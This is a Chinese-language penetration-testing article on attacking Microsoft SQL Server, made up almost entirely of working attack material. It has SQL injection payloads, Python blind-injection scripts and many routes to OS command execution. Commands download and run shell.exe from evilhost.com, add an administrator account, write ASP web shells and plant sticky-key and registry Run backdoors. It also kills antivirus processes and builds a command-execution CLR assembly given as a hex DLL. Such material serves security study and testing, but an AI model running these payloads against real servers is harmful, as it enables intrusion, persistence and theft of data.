Pentesting MSSQL - Microsoft SQL Server
2022-12-9 18:42:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。

  • 判断数据库类型
/* sysobjects 为 MSSQL 数据库中独有的数据表,如果页面返回正常即可表示为 MSSQL 数据库 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通过 MSSQL 数据库中特有的延时函数进行判断 */
?id=1;WAITFOR DELAY '00:00:10'; --
  • 查询数据库版本信息
1 and 1=(select @@version) --
  • 判断当前数据库用户名
?id=1 and user>0;--
  • 获取当前数据库名
?id=1 and db_name()>0;--
  • 判断字段个数
?id=1 order by 6--
  • 查询当前的本地服务名
?id=1 and 1=(select @@servername)--
  • 判断是否站库分离
/* 如果页面报错,则站库分离;回显正常,则无站库分离 */
?id=1 and ((select host_name())=(select @@servername))--
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--

为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。它们类似于 Windows 操作系统中的组。SQL Server 2019 和以前的版本提供了 9 个不同级别的服务器级角色以帮助用户管理服务器上的权限。这些角色是可组合其他主体的安全主体,并且遵循最地特权原则。服务器级角色的权限作用域为服务器范围。

下表显示了固定的服务器级角色及其功能。

?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--

数据库级角色的权限作用域为数据库范围,下表显示了固定数据库角色及其能够执行的操作。

报错注入

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。

  • 查询当前数据库中的表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));--

  • 查询表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--

值得一提的是,在 MSSQL 中除了借助 sysobjects 表和 syscolumns 表获取表名、列名外,MSSQL 数据库中也兼容 information_schema,里面存放了数据表表名和字段名。使用方法与 MySQL 相同。

/* 查询表名可以用 information_schema.tables */
?id=1 and 1=(select top 1 table_name from information_schema.tables);--
/* 查询列名可以用 information_schema.columns */
?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--
  • 查询表中具体的数据
?id=1 and 1=(select top 1 branch from fsb_accounts);--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--

联合注入

方法与一般的 SQL 联合注入相同。值得注意的是,MSSQL 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生隐式转换。

?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--

布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。

?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--

下面给出布尔盲注脚本:

import requests
import time

url = 'http://192.168.2.244/index.aspx?user_id='

cookies = {       # 如果目标网站要事先登录,就加上cookies吧
    "PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
}

flag = ''
for i in range(1,90000):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       payload = url + "-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- " %(i,mid)
       res = requests.get(url=payload)

       """
       data = {
           "user_id": payload
       }
       res = requests.get(url=url, data=data)
       """

       if 'Joe Vilella' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

# m
# ma
# mas
# mast
# maste
# master

时间盲注

MSSQL 数据库中的 WAITFOR 延时存储过程可以用来时间盲注,当语句执行成功,页面延时返回即为 True。

?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--

下面给出时间盲注脚本:

import requests
import json
import time

url = 'http://192.168.2.244/index.aspx?user_id='

flag = ''
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):

       payload = url + "1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1)))>%d WAITFOR DELAY '0:0:2'--" %(i,mid)

       times = time.time()
       res = requests.get(url=payload)

       """
       data = {
       "user_id": payload
       }
       res = requests.get(url=url, data=data)
       """

       if time.time() - times >= 2:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

# m
# ma
# mas
# mast
# maste
# master

xp_cmdshell

xp_cmdshell 存储过程可以生成并执行 Windows 命令,任何输出都作为文本返回。xp_cmdshell 功能非常强大,但是从 MSSQL 2005 版本之后默认处于禁用状态,可以执行 sp_configure 来启用或禁用 xp_cmdshell

xp_cmdshell 的利用条件如下:

  • 当前用户具有 DBA 权限
  • 依赖于 xplog70.dll
  • xp_cmdshell 存储过程存在并已启用

xp_cmdshell 的相关配置方法如下:

/* 判断当前是否为 DBA 权限,返回 1 则可以提权 */
SELECT IS_SRVROLEMEMBER('sysadmin');

/* 查看是否存在 xp_cmdshell,返回 1 则存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'

/* 开启 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

/* 关闭 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

xp_cmdshell 的相关利用技巧如下:

  • 一般执行命令
EXEC master.dbo.xp_cmdshell 'whoami'
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir c:\'
EXEC master..xp_cmdshell 'dir c:\'
EXEC master..xp_cmdshell 'ipconfig/all'
EXEC master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
EXEC master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
EXEC master..xp_cmdshell 'net user hacker Passw0rd /add',NO_OUTPUT
EXEC master..xp_cmdshell 'net localgroup Administrators hacker /add',NO_OUTPUT
  • 调用 PowerShell 执行脚本
EXEC xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1''))"'
  • 调用 cmd.exe 用 PowerShell 远程下载 exe 并执行
EXEC master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\shell.ps1 & echo $client.DownloadFile("http://evilhost.com/shell.exe","%TEMP%\shell.exe") >> %TEMP%\shell.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\shell.ps1 & WMIC process call create "%TEMP%\shell.exe""'
  • 调用 certutil 下载文件
EXEC master.dbo.xp_cmdshell 'cd C:\Users\Public & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';
  • 调用 bitsadmin 下载文件并写入系统启动项
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe'

Ole Automation Procedures

SQL Server 支持一组系统存储过程,这些存储过程允许在 Transact-SQL 批处理中使用 OLE 自动化对象。默认情况下,SQL Server 会阻止访问 OLE 自动化存储过程,因为此组件作为此服务器的安全配置的一部分关闭。系统管理员可以使用 sp_configure 来启用对 OLE 自动化过程的访问。

这里我们直接介绍 sp_OACreatesp_OAMethod 这两个过程,前者可以在 MSSQL 中调用 OLE 对象的实例,后者用来调用 OLE 对象里的方法。

Ole Automation Procedures 的利用条件如下:

  • 当前用户具有 DBA 权限
  • 依赖于 odsole70.dll
  • Ole Automation Procedures 存在并已启用

Ole Automation Procedures 的相关配置方法如下:

/* 判断当前是否为 DBA 权限,返回 1 则可以提权 */
SELECT IS_SRVROLEMEMBER('sysadmin');

/* 查看是否存在 sp_oacreate,返回 1 则存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='sp_oacreate'

/* 开启 Ole Automation Procedures */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;

/* 关闭 Ole Automation Procedures */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;

Ole Automation Procedures 的相关利用方法如下:

  • 调用 Windows Script Host Shell Object 对象执行系统命令

    ProgID:WScript.Shell

    CLSID:{72C24DD5-D70A-438B-8A42-98424B88AFB8}

/* 执行命令并将执行结果写入文件 */
DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
-- exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object output
EXEC sp_OAMethod @object, 'run', NULL, 'C:\Windows\System32\cmd.exe /c whoami >C:\inetpub\wwwroot\result.txt'

/* 执行命令并回显 */
DECLARE @object INT, @object2 INT, @object3 INT, @str VARCHAR(8000)
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT, 'C:\Windows\System32\cmd.exe /c whoami'
EXEC sp_OAMethod @object2, 'StdOut', @object3 OUTPUT
EXEC sp_OAMethod @object3, 'readall', @str OUTPUT
SELECT @str;
  • 调用 Shell Automation Service 对象执行系统命令

    ProgID:Shell.Application

    CLSID:13709620-C279-11CE-A49E-444553540000

DECLARE @object INT
EXEC sp_OACreate 'Shell.Application', @object OUTPUT
EXEC sp_OAMethod @object, 'ShellExecute', NULL, 'cmd.exe', '/c whoami > C:\inetpub\wwwroot\result.txt','C:\Windows\System32','','1'
  • 调用 ADODB.Stream 对象写文件

    ProgID:ADODB.Stream

    CLSID:00000566-0000-0010-8000-00AA006D2EA4

DECLARE @object INT
EXEC Sp_OACreate 'ADODB.Stream', @object OUTPUT
-- EXEC Sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object OUTPUT
EXEC Sp_OASetProperty @object, 'Type', 1
EXEC sp_OASetProperty @object, 'Mode', 3
EXEC sp_OAMethod @object, 'Open', NULL
EXEC sp_OAMethod @object, 'Write', NULL, 0x3C25657865637574652872657175657374282261222929253E
-- <%execute(request("a"))%>
EXEC sp_OAMethod @object, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 2
EXEC sp_OAMethod @object, 'Close', NULL
EXEC sp_OADestroy @object
  • 调用 FileSystem Object 对象复制、移动等文件管理

    ProgID:Scripting.FileSystemObject

    CLSID:0D43FE01-F093-11CF-8940-00A0C9054228

/* 移动文件 */
DECLARE @object INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
-- EXEC sp_oacreate '0D43FE01-F093-11CF-8940-00A0C9054228', @object OUTPUT
EXEC sp_OAMethod @object, 'MoveFile', NULL, 'C:\shell.txt','C:\inetpub\wwwroot\shell.asp'

/* 制作粘滞键后门 */
DECLARE @object INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
EXEC sp_OAMethod @object, 'CopyFile', NULL, 'C:\Windows\System32\calc.exe', 'C:\Windows\System32\sethc.exe'

/* 写文件 */
DECLARE @object INT, @object2 INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
EXEC sp_OAMethod @object,'CreateTextFile', @object2 OUTPUT, 'C:\inetpub\wwwroot\shell.asp', 1
EXEC sp_OAMethod @object2, 'WriteLine', NULL, '<%execute(request("a"))%>'
  • 调用 XML HTTP Request 对象远程下载并写入文件

    ProgID:Microsoft.XMLHTTP

    CLSID:ED8C108E-4349-11D2-91A4-00C04F7969E8

/* 远程下载文件 */
DECLARE @object INT, @object2 INT, @response varbinary(8000)
exec Sp_OACreate 'Microsoft.XMLHTTP', @object OUTPUT
-- exec Sp_OACreate 'ED8C108E-4349-11D2-91A4-00C04F7969E8', @object OUTPUT 
EXEC sp_OAMethod @object, 'Open', NULL, 'GET', 'http://evilhost.com/shell.txt',0
EXEC sp_OAMethod @object, 'Send', NULL
EXEC sp_OAGetProperty @object, 'responseBody', @response OUTPUT
/* 开始写入 */
EXEC Sp_OACreate 'ADODB.Stream', @object2 OUTPUT 
EXEC sp_OASetProperty @object2, 'Type', 1
EXEC sp_OASetProperty @object2, 'Mode', 3
EXEC sp_OAMethod @object2, 'Open', NULL 
EXEC sp_OAMethod @object2, 'Write', NULL, @response
EXEC sp_OAMethod @object2, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1

xp_regwrite

xp_regwrite 存储过程用来写入注册表,我们可以通过该过程实现镜像劫持、写入启动项等操作。

xp_regwrite 的利用条件如下:

  • MSSQL 服务器进程未降权
  • 依赖于 xpstar.dll

关于 xp_regwrite 的利用方法如下:

  • 修改注册表来劫持粘贴键(映像劫持),作为持久化的后门
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', @value_name='Debugger', @type='REG_SZ', @value='C:\Windows\System32\cmd.exe'
  • 写入 AutoRun 表项,作为持久化的后门
/* 将 CMD.exe 的 AutoRun 注册表项与软件可执行路径 C:\Windows\System32\shell.exe 添加,作为持久化的后门 */
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','C:\Windows\System32\shell.exe'
  • 写入 RunOnce 表项,作为持久化的后门
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','C:\Windows\System32\shell.exe'
  • 禁用指定软件。攻击者需要确保杀死反病毒进程以保持不被发现,所以可以设置在某些应用启动时自动关闭。
/* 此时只要开启 Everything 就会自动关闭 */
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe'

Ad Hoc Distributed Queries & Microsoft OLE DB Provider for Microsoft Jet

沙盒模式(SandBoxMode)是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如 Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

沙盒提权的原理就是滥用 Ad Hoc Distributed Queries 和 Microsoft.Jet.OLEDB.4.0 执行系统命令。数据库通过查询方式调用mdb文件执行参数,通过 Access 数据库中的 Shell 函数执行命令。

Windows Server 2003 系统 C:\Windows\System32\ias 目录下默认自带了 2 个 Access 数据库文件 ias.mdb 和 dnary.mdb,所以直接调用即可。之后版本的系统需要自行上传或者用 UNC 路径加载文件。

相关利用条件如下:

  • 当前用户具有 DBA 权限
  • 服务器为 32 位系统
  • MSSQL 服务器进程未降权
  • 沙盒模式已禁用
  • Ad Hoc Distributed Queries 已启用
  • 服务器拥有 Microsoft.Jet.OLEDB.4.0 驱动

笔者的测试环境为 Windows Server 2008 x86 + SQL Server 2005,相关配置如下:

/* 修改注册表,禁用沙盒模式 */
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

/* 开启 Ad Hoc Distributed Queries */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 1;RECONFIGURE

相关利用方法如下:

  • 通过 Microsoft.Jet.OLEDB.4.0 执行系统命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\Windows\System32\ias\ias.mdb',
'select shell("C:\Windows\System32\cmd.exe /c whoami > C:\inetpub\wwwroot\result.txt")');

SQL Server Agent Job

SQL Server 代理(SQL Server Agent)是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。SQL Server 代理可以按照计划运行作业,也可以在响应特定事件时运行作业,还可以根据需要运行作业。

SQL Server Agent Job 的利用条件如下:

  • 当前用户具有 DBA 权限
  • SQL Server Agent 服务已启用(Express 版本 SQL Server 是无法启用的)
  • MSSQL 服务器进程未降权

Ole Automation Procedures 的相关配置方法如下:

/* 开启 SQL Server Agent 服务 */
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

启动后将以 NT SERVICE\SQLSERVERAGENT 帐户权限运行 sqlagent.exe 进程,该进程执行后续的系统命令。

SQL Server Agent Job 的相关利用方法如下:

  • 创建计划任务执行命令并将结果写入文件
USE msdb;
EXEC sp_add_job 'JobName'
EXEC sp_add_jobstep null,'JobName',null,'1','cmdexec','cmd.exe /c "whoami > C:\inetpub\wwwroot\result.txt"'
EXEC sp_add_jobserver null,'JobName',@@servername
exec sp_start_job 'JobName';

Common Language Runtime (CLR)

从 2005 SQL Server 2005 (9.x) 开始,SQL Server 功能集成了 Microsoft Windows .NET Framework(CLR)组件的公共语言运行时。这意味着您现在可以使用任意 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合函数以及流处理表值函数。

MSSQL CLR 的利用条件如下:

  • 当前用户具有 DBA 权限
  • CLR 已启用

CLR 的相关配置方法如下:

/* 开启 CLR 服务 */
EXEC sp_configure 'show advanced options',1;RECONFIGURE;
EXEC sp_configure 'clr enabled',1;RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;

下面通过 Visual Studio 手动创建存储过程来执行系统命令。

  • 创建 SQL Server 数据库项目

  • 选择 “目标平台” 并勾选 “创建脚本”

  • 选择 “目标框架”,并设置 “权限级别” 为 “UNSAFE”

    在 SQL Server 2005 后引入了从 MSSQL 运行 .NET 代码的功能,并在后续版本中叠加了许多保护措施,来限制代码可以访问的内容。其权限集有三个选项:

    1. SAFE:基本上只将MSSQL数据集暴露给代码,其他大部分操作则都被禁止
    2. EXTERNAL_ACCESS:允许访问底层服务器上某些资源,但不应该允许直接执行代码
    3. UNSAFE:允许执行任何代码

  • 选择 “项目” —> “添加新项”,创建 SQL CLR C# 存储过程

  • 写入以下代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand(string cmd)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename, string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

后编译并生成 DLL,与此同时将生产一个 .sql 文件,里面包含了我们后续操作的 SQL 语句:

  • 先后创建程序集和存储过程,并调用
/* 通过 SQL 语句导入程序集 MssqlClr */
CREATE ASSEMBLY [MssqlClr]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006D8463630000000000000000E00022200B013000000E000000060000000000004E2C0000002000000040000000000010002000000002000004000000000000000600000000000000008000000002000000000000030060850000100000100000000010000010000000000000100000000000000000000000FC2B00004F00000000400000A802000000000000000000000000000000000000006000000C000000C42A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000540C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000302C00000000000048000000020005007C220000480800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B003000023537472696E677300000000C4060000B4000000235553007807000010000000234755494400000088070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000CC0101000000000006006601B80206008601B80206003C01A5020F00D802000006003A03D9010A0050014F020E001303A5020600E001D90106002102780306002101B8020E00F802A5020A0084034F020A0019014F020600BA01D9010E00F801A5020E00C800A5020E003602A50206000902360006001602360006002700D901000000002D00000000000100010001001000E7020000150001000100030110000100000015000100040006006E037900502000000000960083007D00010084200000000096008F001A0002005C220000000086189F02060004005C220000000086189F0206000400652200000000830016008200040000000100750000000100E800000002002903000001002F02000002000E0309009F02010011009F02060019009F020A0031009F02060051009F02060061001001100069009A001500710033031A0039009F0206003900EA0132007900DB0015007100A203370079001B03150079008F033C007900B80041007900A4013C00790085023C00790053033C0049009F02060089009F02470039005E004D0039004D0353003900F1000600390073025700990079005C003900410306004100AC005C0039009F0060002900B8015C004900050164004900C1016000A100B8015C00710033036A0029009F02060059004C005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000006A020000040000000000000000000000700055000000000004000000000000000000000070004000000000000400000000000000000000007000D90100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004D7373716C436C722E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572004D7373716C436C72006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000A7C6FCDEFB8D2B4C9805427776B771E2000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006D84636300000000020000001C010000E02A0000E00C00005253445321C0E93DFC8FA04884BA530C6C460CFC01000000433A5C55736572735C77686F616D695C736F757263655C7265706F735C4D7373716C436C725C4D7373716C436C725C6F626A5C44656275675C4D7373716C436C722E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242C000000000000000000003E2C0000002000000000000000000000000000000000000000000000302C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000